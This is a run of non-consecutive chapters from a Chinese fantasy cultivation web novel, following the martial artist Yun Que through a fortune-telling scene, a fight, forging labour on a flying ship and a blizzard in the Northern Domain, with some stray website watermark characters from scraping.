以前的时候,大晋兴亡,云缺根本不在乎。 现在不行了。 皇帝是自己媳妇,云缺岂能不管。 “红尘呐,还真是一张网啊,跳进来,就出不去喽……” 云缺叹息一声,无可奈何。 还是牧青瑶看得清,小小年纪就有如此感悟,确实是个奇才。 散去思绪,云缺感受一番境界。 宗师境果然与七品截然不同,五感六识变得极其敏锐,无论听觉还是视觉都比之前强出倍许。 在屋子里打了几拳。 气机的磅礴程度是七品时候的三倍以上,运转更加流畅。 尤其对力量的掌握,变得极其精湛。 以前云缺拿青石练拳,一拳即可击碎,但是很难留下完整的拳印,力道控制得并不理想,或全力以赴,或威力不足。 现在的话,不仅能打出拳印,还能控制拳印的深浅。 完美掌握自身力量,不浪费一丝一毫,这便是宗师境的核心所在。 高兴之余,云缺也深知一点。 六品宗师,被戏称为无底洞,想要冲进五品金身,耗费的资源是天文数字。 好在找到个冤大头,云缺自己都犯愁的事儿,完美解决。 云缺下定决心,在白起离开学宫之前,尽快冲击五品,就算冲不进去,也整天吃丹吞药。 现成的便宜,必须占够了才行。 要不然等白起一走,上哪找人家去,没准人家离开学宫之后,再次相见就是战场了。 以云缺估计,大晋与大秦之间,注定会有一战。 纷乱的思绪,被五脏庙的抗议打断。 肚子饿了。 看了看天色,还没到半夜,饭堂应该有吃的。 云缺走出西楼,发现百花殿草坪上围着很多学子,房石也在,不知有什么热闹。 走过去瞧了瞧。 确实新鲜,居然有个算卦的。 第325章 云缺之棺 人群中间,是一名女学子,二十岁上下,脸上有一大块暗红的胎记,乍一看有点吓人。 五官倒是端正,只是那块胎记的存在,让这名女学子的容貌与美丽根本不沾边。 云缺不认得对方,很陌生。 大半夜的在这里算卦,还有这么多学子围观,看来这人应该有点本事。 云缺站在人群里看热闹。 女学子以九宫八卦,替一名女同窗占卜,声音温和的解读道: “山水蒙,中下卦,坎为水,形如山,山水有相逢,终究山水难相融,你这段感情注定难有善终,不如趁早解脱,另寻良人。” 求卦的女学子一听,顿时眼圈发红,抽泣道: “我就知道会这样,每次见他,他都心不在焉,对我经常敷衍,他的心根本没放在我心上,算得真准,谢谢你,呜呜呜……” 女学子哭着跑开。 人群立刻嘈杂起来,都想算一卦,甚至有人互相争抢。 房石提议道: “天这么晚了,咱们这么多人肯定算不完,大家都别争,我提议收钱卜卦,五两银子一次,我先出五两!” 说着房石直接拿钱。 钱不多,只用了五两银子就能排到前面,房石的买卖之道确实高明。 卜卦的女学子温和一笑,摇摇头道: “我不缺钱,无需银两,师兄想要算什么。” 人家不接,房石更乐了,连五两银子都省了,立刻道: “财运!只算财运,其他的我不感兴趣。” 女学子点点头,让房石选一个字,用来卜卦。 房石二话不说,直接选了‘钱’字。 很快有了结果。 “水天需,中上卦,水在青天月在瓶,隆冬烟雨如珠帘,师兄的卦象是富贵之兆,不过近期却有散财之嫌。” 房石一听立刻瞪大了眼睛,道: “烟雨如珠帘,必定散落满地!算得真准啊!我刚亏了上万两银子,真是神算!” 房石心服口服。 因为他的血滴子,云缺根本没给钱。 云缺在人群里看完房石卜卦,没了兴趣。 算命先生,云缺不仅接触过很多,甚至和梅钱都当过,骗过几个狗大户。 这行当是有窍门儿的。 语术是其一,眼力是其二,察言观色是算命之人必须具备的能耐,说话两头堵,怎么算都不会错。 不过那都是街头的算命先生,赚不了几个钱,云缺和梅钱玩得比较高端。 先踩盘子,了解狗大户的家里都有什么人,把底细彻底摸清,然后寻个由头登门拜访,随便胡扯个灾祸,对方基本乖乖给钱。 当然也有不信邪的,怎么算都不信。 那也好办,第二天弄点死猫死狗死耗子往对方家里一扔,除非傻大胆,否则肯定回头来求你。 赚了大把不义之财的人,其实最怕报应,云缺与梅钱正是看准了这一点,没少在那些狗大户家里捞钱。 行骗多年,云缺与梅钱唯一失手的一次,是一家皮货商。 店铺极大,财源滚滚。 不仅贩卖皮货,暗地里还给青楼供货,专门在小村镇买一些穷苦人家的女娃,说得挺好听,是去城里当丫鬟,衣食无忧,结果转回头就高价卖给了青楼。 做人牙子生意的,哪有善男信女,自然不信命。 后来云缺和梅钱手段用尽,对方就是不信,把两人骂了个狗血喷头,撵出大门。 云缺和梅钱也没惯着对方,当晚黑布蒙面,把那家皮货商洗劫一空,把人牙子绑起来暴打半宿,打得只剩半口气,临走放了把火,所有皮货付之一炬。 文的不行,那就来武的呗。 多简单点事儿。 云缺这边转身刚要走,忽然那算命的女学子开口道: “今日最后一卦,送给转身之人。” 云缺已经迈步了,背对着女学子,听到这话觉得好奇,下意识的又转过身。 其他人全都正对着女学子,有人回头四下张望,但没人转身。 转身之人,只有云缺一个。乐文小说网 房石兴冲冲的道: “云师弟转身了!来来来,算一卦,挺准的。” 云缺看了眼那女学子,对方的表情始终温和平静。 故意的? 云缺的眉峰动了动,一时拿不准对方是不是故意找自己算卦。 因为根本不认得。 女学子望着云缺,平和的道: “说一个字即可。” 云缺想都没想,直接道:“刀。” “想算什么呢。”女学子问道。 “算我还能活多久。”云缺道。 女学子点点头,开始认真的卜卦。 房石在旁边直皱眉,小声道:“刀这个字,不吉利呀云师弟,再说算命哪有算阳寿的,算算运道,算算姻缘多好。” 云缺笑了笑没吱声。 既然对方选了自己算卦,那就算个不可能有结果的。 命数,没人能算得出来。 除非天道亲自来算。 女学子低着头,在八卦盘上算得很认真,云缺发现对方抬手之际,手腕上有些新旧不一的伤痕,一条一条,犹如龟裂,触目惊心。 这种伤势,云缺一眼便可断定如何形成。 自残。 很快,女学子卜卦结束,望着云缺面带微笑道: “风水涣,下下卦,隔河望金,欲取则亡,你有血光之灾,活不了太久。” 下下卦,是最凶险的卦象,围观学子听得直抽冷气。 学子们都在暗暗庆幸,幸亏自己不是下下卦,否则真假不说,今天晚上肯定睡不踏实。 云缺笑了笑,道: “借你吉言。” 说罢大步离去。 算卦这种东西,云缺根本没信过,不以为意。 由于看了会热闹,到饭堂的时候,已经关门了。 学宫饭堂提供宵夜,但午夜之前肯定会关门的。 既然饭堂关门,云缺只好去街上吃。 要不然肚子抗议,睡不安稳。 今晚月明,满天星辰。 找了个小酒馆,要上五斤酱牛肉,两盘热菜,外加半盆米饭,云缺吃了个沟满壕平。 酒没喝。 云缺并不嗜酒。 人多的时候,热热闹闹喝几杯,一个人吃宵夜就免了。 明天就是北域历练,清晨出发,云缺可不想在先生面前一身酒气。 吃饱之后,已经是后半夜了,街上几乎见不到人。 云缺一边走,一边思索着北域之行要如何寻找父母的遗体,不多时转进一条小巷。 空旷的巷子里,幽深安静。 旁边的高墙上,蹲着一只黑猫。 喵!! 看到云缺这个路人,黑猫忽然炸起长毛,发出凄厉叫声。 猫叫声很尖锐,犹如被人踩中了尾巴。 云缺想着心事,没理睬野猫,结果刚走到墙下,那黑猫突然从墙头扑了下来! 第327章 最近药吃得有点多 在女人与布衣汉子即将出手之际,阿狼忍着伤口的剧痛,挡在云缺身前。 身为暗卫,护主是习惯,也是宿命。 如此危险的局面,在阿狼的认知中,必定是他这名暗卫在前面死战,然后王爷或者趁机退走或者寻找机会反击。 暗卫的死活,主人,是不在乎的。 如果暗卫先逃,那么等待他们的,将是无情的抹杀。 在无舌手下多年,阿狼比任何人都清楚这一点。 在阿狼准备拼死一战的时候,肩头被云缺拍了一下。 阿狼认为那是王爷的信任与鼓舞,他心里更加战意十足,哪怕今天战死于此也无怨无悔。 然后下一刻,阿狼才知道自己想错了。 云缺不是拍他一下,而是直接将他扒拉到一边。 “正好最近药吃得有点多,拿你们练练手。” 云缺推开阿狼后,挽起袖子,面带笑意的迎向敌人。 在阿狼眼里的两名强敌,在云缺眼里只是两只弱鸡罢了。 七品的时候,杀六品都无需太费力,现在云缺已经六品,同阶之间哪有对手。 无需动用妖力,云缺凭借六品修为,挥刀便斩。 浓妆艳抹的女人掐动法术,施展巫术,布衣汉子的菜刀上寒光大起,全力斩落。 云缺的第一刀,与布衣汉子的菜刀相撞,发出刺耳轰鸣,当两把刀被各自的力道震开之际,云缺拍出了左掌。 布衣汉子暗暗欣喜,他以全力攻出右拳,打算将云缺的手掌轰碎。 拳对掌,本就占据优势。 布衣汉子的刀法很强,但没人知道,他的拳法其实更强。 出招的同时,布衣汉子的拳头上竟铺满一层坚冰! 拳力暴增,砸出的拳头好似一柄冰锤。 “破冰拳!!!” 布衣汉子暴喝出声,这一拳携带着惊人的威能。 能施展出携带寒冰之力的拳法,说明此人拥有了沟通五行的能力,在六品宗师里绝对属于高手。 大晋的兵将当中,六品修为的不多,但也绝对算少,以陈洲骅为例,战力不低,但五行拳道始终学不会。 甚至在学宫学子当中,也流传着‘六品易达,拳道难修’的说法。 布衣汉子信心十足,他有绝对把握一拳将云缺的手臂废掉。 下一刻,布衣汉子看到了雷光。 云缺拍出的一掌,看似不紧不慢,但掌心处却有雷电迸溅! 奔雷掌! 咔嚓!!! 雷鸣声在屋中炸起。 布衣汉子的冰拳被瞬间击碎,整个人倒飞出去,浑身缭绕着大片雷光,砸碎了窗户落向街头。 飞出青楼的同时,布衣汉子已然咽气。 临死前,他觉得自己不是与同阶武者对轰了一拳,而是被一头五阶巨兽捶了一巴掌! 落地后,尸体焦糊,还保持着出拳的姿态,只不过拳头已经彻底没了,空荡荡只剩断腕。 另一边,那浓妆艳抹的女人尚未施展出法术,云缺已经杀掉了一个。 阿狼看得瞠目结舌,女人也呆滞在原地。 一刀,一掌,瞬杀同阶! 云缺甩了甩手上残留的雷弧,满意的点点头。 雷精的效用确实不错,能辅助自己修成奔雷掌,再修炼一阵子,掌法差不多能彻底掌握。 现在还差点火候。 第331章 委屈你了 眼前这间屋子,被灵匠殿先生占据。 屋内有个大铁桶,铁桶上面悬浮着一把硕大的铜锤,娃娃模样的孔气气正挥动手指,控制着铜锤砸进铁桶。 原来楼船下坠的危机,是这位灵匠殿先生给砸出来的。 见铜锤还要砸落,宋道理连忙催动法力禁锢住铜锤。 再砸下去,楼船都得贴地。 “干什么!没看到我在锻器吗!” 孔气气没好气的吼道。 语气不善,却是娃娃音,听起来非但没有威严,反而有些好笑。 宋道理黑着脸,道: “楼船险些坠落,请先生住手!” 风先生此时也赶了过来,站在宋道理身旁,瞪着孔气气直运气。 “我才不住手呢!我锻器正在紧要关头,失败了你们赔钱!”孔气气掐着腰,蛮横无理的道。 云缺站在一边看热闹,能看得出宋道理与风先生此刻万般无奈。 灵匠殿这位先生,不仅人变成了娃娃,连心智也和娃娃差不多,学宫里哪有当先生的还会耍赖的。 宋道理管得了学子,可管不了先生,只能好言相劝: “楼船行于高空,先生的铜锤太过沉重,在楼船上锻器实在不妥,不如到了北域再锻器如何。” 学正之首说软话,云缺头一次见识,听得直想乐。 “到北域?” 孔气气仰着小脸儿撇着小嘴儿道:“到北域黄花菜都凉了!没听过趁热打铁吗,铁凉了还怎么打!我的材料很难得,锻造失败的话,找你们俩赔钱!你俩别想跑!” 风先生没吭声,宋道理眼角直跳。 遇到个不讲理的学子好办,打罚都可,遇到个不讲理的先生,实在没辙。 眼看着孔气气还要继续砸落铜锤,宋道理急中生智,道: “锻器也行,先生能否换一名灵匠殿学子控制铜锤,孔先生的力道,楼船实在扛不住。” 屋子里站着不少灵匠殿学子,孔气气闻言四下看了看,拒绝道: “我的铜锤是法宝,他们的法力根本驾驭不住,只能我自己砸!” 宋道理连忙道: “可以找一名修炼武道的学子帮忙。” 孔气气不耐烦的朝着满屋学子道: “你们谁是武夫?” 灵匠殿弟子纷纷摇头。 武夫学锻器,相当于寒窗苦读十载,到了乡试的时候不去考试,直接去酒楼当小二。 那不是傻子么! 灵匠殿传授炼器之道,祭炼各种法器提炼各类材料,炼器是需要法力的,武夫去灵匠殿,只能单纯的学打铁。 “没有武夫,还得我自己来!” 孔气气浑身法力一起,轻易震开宋道理阻挡铜锤的力量。 看到这里,云缺生出一种不妙的预感。 满屋就他一个武夫,现在不溜,更待何时。 云缺不动声色的往后退了一步,就要开溜,结果没等转身就被宋道理和风先生一左一右给夹住。 “这有武夫!” 宋道理连忙大喝, 又小声的对云缺道:“委屈你了, 干会活儿吧。” 风先生也拍了拍云缺肩头, 如释重负。 云缺苦着脸, 满心无奈。 来看个热闹,结果被抓了壮丁,太倒霉了点! 孔气气看了眼云缺,道: “是你啊,好吧,你来砸。” 云缺很想说我不砸行不行,可看到宋道理和风先生殷切的目光,只好接过铜锤。 为了保住一船学子,砸就砸吧…… 看到云缺拿起铜锤,宋道理与风先生立刻退出房间,反手把门关好。 “幸亏有云缺在,孔先生的那件铜锤,不用法力我是拿不动啊。”宋道理感慨道。 “我也拿不动。”风先生赞同道。 一位儒家修士,一位道门修士,肉身力量实在没有多少。 屋子里,云缺接过铜锤后心头一惊。 好重的份量! 至少几万斤。 也就云缺这种妖武者,换成其他六品宗师,未必抡得动。 抓紧铜锤后,云缺扫了眼面前的铁桶,表情变得诧异起来。 铁桶是空的,里面没东西! “快点砸呀!一会儿都凉了!”孔气气掐着腰催促道。 “这……砸什么材料?难不成先生在锻造空气?”云缺疑惑道。 “你什么眼神儿!没看到里面有粒沙子吗!”孔气气说着在铁桶里捡出一个米粒大小的沙硕。 云缺看得眼睛都直了。 几万斤的大铜锤,就砸一粒沙子? 玩呢! “武夫果然啥也不懂,这是沙精,沙中精华!炼制极品法器的材料!快点砸,凉了就会锻造失败,你赔 钱!” 孔气气将沙子扔进铁桶,拿出几块糖果,一边吃一边监工似的盯着云缺干活。 没办法,云缺只能开砸。 轰轰的闷响持续不断。 每砸一下,楼船都会颠簸一次,云缺在这边砸沙子,楼船上的学子们多出一种大海行舟之感。 没多大一会儿,开始有人晕船了,跑到甲板边缘大吐特吐。 打铁的活儿,对云缺来说不算什么。 接连砸了百锤之后,云缺停手看了看。 铁桶里的沙子原封没动,之前多大,现在还是多大。 “成功了吗?”云缺问道。 “早呢,沙精都没变化,里面的杂质全被砸出来才算彻底成功。”孔气气吃着糖,声音模糊不清的道。 云缺继续抡锤,一边砸,一边问。 “既然沙精是炼制极品法器的材料,为何还要砸呢?” “提炼!提炼懂吗!沙精我才不稀罕,我要提炼出一粒灵沙!”孔气气道。 “莫非灵沙能炼制法宝?”云缺道。 “当然了!沙精只能炼制法器,多说用在极品法器上,灵沙却是炼制法宝的材料!非常珍贵!”孔气气道。 “灵沙很难提炼么?”云缺道。 “这么说吧,百粒沙精,未必能提炼出一粒灵沙,你说难不难!” 孔气气道。 云缺了解沙精后,停下铜锤,喘口气。 即便是武夫,抡大锤也累呀。 伸手拿出铁桶里的沙精,云缺仔细看了看。 沙子被砸得很热,内部有些浑浊的杂质,晃一晃,好似水纹般晃动。 看着手里的沙子,云缺觉得有点眼熟,很快联想到藏石镇矿洞里的诡异石壁。 石壁就是由无数沙硕组成,最开始矿洞里闹邪祟的时候,云缺还追着砍过一团能动的沙子。 手里的沙子,与组成石壁的沙子有点类似。 但矿洞里的沙子明显比手里的沙子要精纯太多,以云缺的眼力,没发现矿洞里的沙子有杂质。 “请教先生,灵沙能炼制出何种法宝?” 云缺问道。 “那可多了!沙属的法宝飞剑,或者法宝战甲,法宝重盾,各类武器防具都行!灵沙甚至能炼制出拥有自主灵智的极品法宝!” 孔气气面带憧憬的道:“我毕生的目标,就是将这柄铜锤打造成极品程度的法宝!” 听闻自主灵智四个字,云缺心头一动。 矿洞里的石壁,明显有着自己的灵智,那面石壁是会跑的! 至少是件极品法宝! “如果先生打造出极品法宝,不小心,法宝自己逃了,应该如何抓回来呢。”云缺继续抡动铜锤,套话道。 “极品法宝怎么可能逃掉!一旦拥有,必定先刻下烙印,成为本命相连的本命法宝,收入元神日夜蕴养,平常都舍不得用!”孔气气道。 “要是丢了呢,或者与人战斗后遗失,该怎么办?”云缺道。 “那可麻烦了,失去神魂烙印的极品法宝,通常会融入与本体相同的材质当中,土属的法宝沉入地底,雷属的法宝飞到云中,水属法宝潜入江河湖泊,极品法宝拥有收敛气息的能力,神物自晦,根本没个找!” 孔气气提及炼器,显得兴致勃勃,道: “即便找到了也很难抓住,品质越好的极品法宝,其形成的灵智越狡猾,遇到危险会提前躲避,需要动用强大的法阵或者禁制封锁空间,才有机会将其擒获!” “极品法宝的个头儿,是不是都挺大的,比如这间屋子这么大?”云缺问道。 屋子的比喻,云缺已经往小了说,矿洞里的石壁比云缺所在的这间屋子要大出数倍。 “没那么大,极品法宝通常都很小巧,外表与普通刀剑相仿,我这件铜锤如果能锻造到极品程度,会恢复为小锤子,拿着趁手,屋子那么大的根本不是法宝,古宝还差不多!”孔气气道。 “古宝,比法宝还厉害?”云缺道。 “当然了!远古至宝才能叫做古宝,那是一品强者甚至超品强者才能拥有的宝贝!我只知道现存的古宝,只有天一道宗里有一件。”孔气气道。 得知法宝与古宝的区别,云缺愈发断定那块诡异的石壁极有可能是古宝等级。 超品强者的宝贝啊! 云缺心里一阵火热。 可惜,石壁跑得太快,追不上,更别提收服。 锤了半天,孔气气终于喊了停手。 拿出沙子看了看,遗憾道: “还是不行,砸废了,提炼不出灵沙,哎,真晦气!()?()” “既然废掉了,这粒沙子能不能给我?学生砸了半天挺累的。()?()” 云缺道。 “你想得美!我孔气气的材料,什么时候给过别人!就算废掉了也不会送人!给你块糖当做报酬好了。∮()_[(.)]∮?∮ _?_?∮()?()” 孔气气扔给云缺一块糖果,就想打发了云缺。 “反正材料也废了,先生不如卖给我,我出钱买总行吧。()?()” 云缺顺手把糖果揣兜里,一块糖打发叫花子呢,得想办法捞点真正的好处才行,反正这位先生喜欢卖废品。 “看你这次还算卖力气,行罢,一百两卖你了!”孔气气大度的道。 云缺二话不说,立刻掏钱,把沙子买了下来。 屋子里还有不少灵匠殿学子。 这些学子瞪着眼睛,张着嘴,伸着手,好像要说点什么,怎奈交易太快,云缺给完银票,拿着沙子已经走人。 望着云缺离去的背影,灵匠殿一众学子唉声叹气。 千万不能让自家先生做买卖,否则早晚把家底儿赔个精光。 沙精的确提炼失败,没能提炼出灵沙,但即便失败,它本身还是沙精啊! 一粒沙精,至少一万两起价! 结果被先生当成没用的废弃品,一百两给处理掉了…… 第333章 只要我不饿你就没危险 雪鸮的异样,令风先生有些意外。 要知道这可是他驯化多年的妖兽,无需法力,一个念头即可号令。 没有风先生的命令,雪鸮不敢有任何异动,比家里养的看门狗还要听话老实。 可此时的雪鸮,居然不受控制的飞了起来。 风先生修炼多年,第一次遇到如此怪事,从雪鸮神魂中传来的惊恐,风先生猜测出云缺身上有着独特的气息,这种气息同为人族察觉不到,但妖物极其敏感。 面对风先生的疑问,云缺如实道: “偶尔猎妖,卖点小钱,没杀多少。” 云缺说得很谦虚,的确没杀多少,也就十多万而已…… 风先生再次拍了拍雪鸮的头,掌心涌动着法力波动,这次雪鸮老实了,落在云缺肩头一动不动,只是一双漆黑的小眼珠时不时的转一下,瞄着云缺,好像很害怕的样子。 云缺谢过风先生后,离开木楼,一边走一边捋了捋雪鸮的羽毛,轻声安抚道: “别怕,小家伙,跟着我安全得很,只要我不饿你就没危险。” 木楼下,风先生面具后的眼角不受控制的抽了抽。 云缺的声音虽然很小,以风先生的修为自然听得一清二楚。 什么叫你不饿,就没危险? 合着你要是饿了,雪鸮就成烤鸡了呗…… 走到雪域边缘,云缺打了个呼哨,召唤萍山君。 很快一阵狂风袭来,猛虎现身。 看到萍山君的模样,云缺吓了一跳。 猛虎还是猛虎,只是满身的虎毛都成了辫子。 老虎此时目光呆滞,一副生无可恋的模样,犹如被卖进了青楼的苦命女子。 翻身上虎,云缺四下里看了看。 “奇怪,梅钱那孙子怎么不来占便宜了。” 没看到梅钱,不知去了何处。 “出发!” 云缺薅住虎头上的两根长辫子,脚下一踹,萍山君风一般窜了出去。 云缺架着鹰,骑着虎,威风凛凛冲进北域。 四散在雪地上的学子们,适应了北域的寒冷后纷纷朝着深处进发。 角落处,朱静姝裹着一件厚厚的披风,遥遥望着云缺消失的方向,嘴角渐渐抿起一个玩味的笑容。 北域无边无际,冰雪遍地,寒气袭人。 再次来到这片雪域之地,云缺的心情变得十分复杂。 十多年前,云缺来过这里。 不算陌生。 当时斩妖司的妖武者们,成群结队,杀气腾腾,宛如大军。 可没人能回来。 除了云缺自己。 云缺行进的方向,始终向北。 他的目标不是妖山逃走的妖兽,而是北域深处的妖都。 前往妖都的路,是一条不归路。 时隔多年,云缺再次走上了这条熟悉的路线。 久远的回忆,不受控制的跳了出来。 云缺想起当年临行之前,母亲亲手给自己缝制的一件小皮袄,在冰天雪地里穿着很暖和。 云缺想起接近妖都之后,父亲沉默着拍了拍自己的肩头,没说一句话,转身走向妖都。 血…… 云缺的回忆里,到处是鲜血。 刀气的呼啸与妖兽的嘶吼混杂成令人心神狂躁的旋律。 残酷的杀伐,令很多妖武者彻底妖化,化身为暴躁的妖物,继续厮杀。 最后,云缺已经无法辨认周围的妖兽到底是曾经的家人,还是妖都的妖族。 回忆带来的躁动与不安,令云缺眼底渐渐浮现殷红。 妖气开始不受控制的扩散开来。 翅膀扇动的声响在耳边出现,将云缺从回忆中惊醒。 雪鸮展翅腾空,在头顶盘旋。 云缺身上的妖气,将雪鸮惊走,迟迟不敢落下。 深吸一口气,云缺将月玉贴在额头,尽力收拢着妖气。 半晌之后,雪鸮再次落下。 不过没站在云缺肩头,而是站在老虎头顶,身体朝前,但小脑瓜始终扭向一侧,漆黑的眼珠盯着云缺,准备着随时逃走。 雪鸮很聪明,宁可接近萍山君,也不愿意接近云缺。 收敛妖气的功夫,云缺忽然听到一声轰鸣。 声音极大,传出很远,一阵寒风刮来。 云缺在风中扭头看去,响声来自一侧的一座雪山。 应该是其他学子的手段,云缺没去看热闹,让萍山君继续前进。 在楼船上就因为看热闹,抡了半天大锤,现在云缺对热闹不感兴趣。 萍山君很听话,继续奔跑。 可雪鸮不听话,居然扇动翅膀,朝着发出响动的雪山飞去。 “傻鸟!回来!” 云缺吼了一声,雪鸮根本不回头,很快飞过雪山。 不知雪鸮发现了什么好东西,云缺只好让萍山君跟过去瞧瞧。 肯定不会是朔风蝠,否则雪鸮不可能给天敌送上门去当点心。 很快萍山君越过雪山,来到山后。 好东西没看到,只看到几颗光头。 都是学子,穿着学宫的衣服,正围在山脚一处炸开的大洞旁。 学宫里的光头学子最好辨认,肯定是佛心殿学子。 佛心殿是佛门一脉,拜入佛心殿,相当于当了和尚,当然也可以不剃光头,不过心诚的学子大多会提前剃度。 佛心殿学子不多,是天祈学宫里学子最少的一处学殿。 云缺在学宫的时候很少见到佛心殿学子,这些小和尚平常不怎么在外走动,都在佛心殿潜心修佛,不知这次出现在北域有何目的。 猎妖这种历练,佛心殿很少有人参加。 雪鸮盘旋在高处,预示着附近有它在意的东西。 看到雪鸮,几名佛心殿学子立刻紧张起来,其中一名年长些的对云缺道: “这位师弟,天上可是你的灵兽,能否收起来。” “暂时收不起来,不用管它,它不会捣乱,几位师兄挖什么呢。”云缺看了看冰洞,问道。 一个年轻的小光头急忙道: “没挖什么,我们在验证法术威能!” 云缺瞄了眼对方,小和尚立刻眼神飘忽,不敢直视,显然在说谎。 年长的学子迟疑了一下,道: “出家人不打妄语,我们在寻找冰花,雪鸮喜食冰花,师弟若不收取,它容易与我们争抢。” 云缺没听说过冰花,打听了一下,得知是一种珍贵的材料,可炼器,也可作为佛门用来超度亡魂的媒介。 云缺抬手示意雪鸮落下。 等雪鸮落在虎头,被云缺一把掐住,拿出绳子将雪鸮绑在萍山君脑袋上。 这下雪鸮飞不起来了,气得直叫唤。 “再乱飞,炖了你!” 云缺嘀咕了一句,与几名佛心殿弟子告辞。 人家先发现的材料,自己就不凑热闹了。 “佛心殿,要做法事?” 临走前,云缺问了句。 云缺对庙宇很熟,小时候实在饿得慌,就去找个和尚庙混点吃的,只要庙里的和尚没饿死,都会给他点食物。 云缺甚至跟着做过法事,因为做完法事,贡品都能吃。 对于寻常庙宇来说,做法事是大事,很隆重,但佛心殿是学宫学殿,怎么也要做法事? “确实如此,先生说大晋阴气太重,亡魂西聚,要做一场法事超度,命我们借此机会来北域寻找冰花。”年长的学子如实答道。 云缺点了点头,明白了缘由。 最近一段时间,大晋确实混乱,人死得太多。 鸿雁城,梨花城的百姓全部伤亡过半,八山城更是满城死绝,红莲教带来的杀戮,几乎有百万生灵因此丧命。 正要离开,云缺忽然皱了下眉,问道: “亡魂西聚,是什么意思,大晋的亡魂都去往西天极乐了么?” 年长的学子摇头道: “不是前往西天极乐,而是大晋地界的亡魂在往西方汇聚,先生说,西为死门,亡魂若汇聚过多,易生灾祸。” 得知真相,云缺告辞离开。 继续前行的路上,云缺始终沉默不语。 亡魂西聚…… 西面,是十万大山…… 莫非是巫族的手段,在汇聚亡魂? 想着想着,云缺悚然一惊。 如果巫族需要大量亡魂,那么红莲教的出现,绝不会仅仅为了掀翻殷子受的统治那么简单。火山文学 巫族,红莲教,他们…… 冥冥之中,云缺仿佛看到了棋盘的轮廓。 但是棋盘上有多少棋子,有多少条棋路,仍然模糊不堪,无法窥视。 北域,起风了。 大雪伴着狂风而至。 云缺让萍山君爬上一座雪山,观察了一下远处。 天地间一片浑浊。 仿佛有一阵恶浪在天边出现,排山倒海般席卷而来。 雪鸮不断拍动翅膀,想要逃离,可惜被绑住,飞不起来。 不能再走了…… 云缺判断出这场风雪极其可怕,立刻在山脚挖出个雪洞,暂时栖身。 雪域里的风暴,连修行者也难以抗衡,不仅狂风飞雪,还会伴随着恐怖的极寒,甚至有强大的妖物随风而来。 强行赶路,迷失方向是小事,被妖物吞噬才最倒霉。 云缺了解北域,知道这种风暴的危险,必须躲避才行。 刚躲进雪洞,洞外立刻传来刺耳的风啸,天地间一片昏暗。 没过一小会儿,洞口便被冰封。 闲来无事,云缺拿出一粒金乌丹扔进嘴里,开始吃丹修炼。 萍山君趴在一边无精打采的解着身上的辫子,雪鸮一个劲儿的啄着脚上的绳子,两头妖兽各忙各的,倒也安然无事。 洞外,风雪愈发狂暴。 云缺在心里盘算,这里距离雪域边缘差不多百里,到了宋道理说过的界限边缘。 但离着妖都还有很远一段路,如果风暴不停,此行北域就得空手而归了。 正想着心事呢,一颗奇怪的脑袋钻了进来,圆咕隆咚,是个大雪球,雪球上有两个孔洞,孔洞深处是一双眼睛。 “雪怪?” 云缺拔刀就砍。 “别别别!停手!我不是雪怪!” 雪球里传来人声,听着耳熟。 第334章 公主会换脸 等这位爬进洞,扒掉脑袋上的雪,云缺这才看清对方的模样。 原来是齐御。 收起刀,云缺坐回原位,道:“这里有人了,你去别处挖洞住。” “凑合躲一会儿,我差点被风暴吹走,吓死老子了。”齐御心有余悸的坐在一边。 要不是武夫的体魄,这种程度的雪域风暴,直接能冻死。 云缺满心不耐烦。 本来地方就小,又来个大活人,云缺运转气机就要再打出个洞来,让齐御滚一边去。 “别挖!你疯了啊!” 齐御连忙阻止,心惊胆战的道:“这里已经是北域深处,雪山里容易遇到冰蛭,那玩意专吃活物,挖出来一条够咱俩喝一壶的。” “知道得不少啊,你来过北域?”云缺散去气机,道。 “我没来过,我姐说的,她到过北域,她说北域雪山里栖息着冰蛭,越往深处越容易遇到。”齐御道。 “知道危险,你还走这么远。”云缺道。 “我这叫艺高人胆大!好歹我也是宗师啊。”齐御道。 “这次你想走多远?”云缺道。 “到此为止,我可不走了!本来追着一头七阶妖兽,结果越跑越远,妖兽没追到,自己差点被风暴吹走。”齐御唉声叹气的道。 “齐师兄是邵武国的人对吧,打听个人,永平公主朱静姝,你认不认得。”云缺道。 “不认得,我们家小门小户的,哪能接触到皇族,再说了,邵武国的公主多了去了,谁知道什么永平公主。”齐御道。 “邵武国,有很多公主?”云缺道。 “至少上百位,邵武国皇帝的妃子无数,整天不用干别的,生孩子玩呗。” 齐御说着神色变幻起来,语气古怪的道:“我虽然没见过公主,但我听说过一个民间流传的诡异传闻,说邵武国的公主,经常会换脸!” 云缺听得好奇起来,道: “换脸?难不成邵武国的公主都会易容术。” “不是易容术,所谓的换脸,是永久改变了样貌!比如你说的什么永平公主,之前也许貌美如花,过几年之后就变得普普通通,成了另一个人的模样,封号没变,脸变了!”齐御道。 “可能邵武国的公主太多,封号不够用,一个封号一人用两年,大家换着用。”云缺打趣道。 “谁知道呢,还有传闻说邵武国的皇帝是妖魔,一年需要吃一个公主续命,听着都吓人。”齐御道。 “你在哪里听说的这些传闻,真的假的。”云缺道。 “青楼啊!那帮客人给花魁们讲故事的时候,我就趴在门缝听的,你还别说,听完这种故事,花魁们肯定被吓得投怀送抱。”齐御道。 “齐师兄,我要修炼了,麻烦你离我远点。”云缺没好气的道。 齐御不吭声了,两人各自盘坐修炼。 风暴持续了半天之久。 外面鬼哭狼嚎般的风啸渐渐停息,大雪依旧。 雪洞里安静无声。 云缺睁开眼,正打算出去瞧瞧,忽然听到一种奇怪的声音。 咔嚓,咔嚓。 好像有利齿在咀嚼着什么。 齐御也听到了,连忙抽刀戒备。 洞口早已被大雪封死,云缺没有妄动,盯着入口。 不多时,洞口的白雪出现轻微晃动。 紧接着一只苍白的女人手掌,从雪里伸了进来! 无人的北域深处,荒凉的雪山底部,本该人烟绝迹的地方,居然出现一只女人的手。 齐御被眼前的一幕吓得汗毛倒立,屏住呼吸。 云缺则神色平静,握住了背后的毒牙刀。 人手这种东西,未必只有人类才有,有些妖物也能幻化出来,甚至用身体的触角之类模仿。 云缺曾经遇到过多次。 一些奇特的妖物用触角幻化为人手人脚乃至婴孩模样,当做陷阱,用来捕杀猎物。 不过下一刻,云缺目光晃动了一下。 伸进洞口的这只手,手腕上遍布着深浅不一的伤痕,密密麻麻好似龟裂,十分惊人。 云缺立刻皱起眉。 这只手,他曾经见过。 永平公主卜卦的时候! 朱静姝的手? 在云缺的诧异中,伸进来的手掌扣进冰层,努力的往雪洞里爬。 这下子,齐御更发毛了。 眼前的画面实在恐怖,齐御甚至联想到手臂后面是一具血肉模糊的干尸。 其实齐御胆子不小。 身为武夫,胆量都很大,去墓地睡一觉的事儿,齐御也不是没干过。 但今天不同。 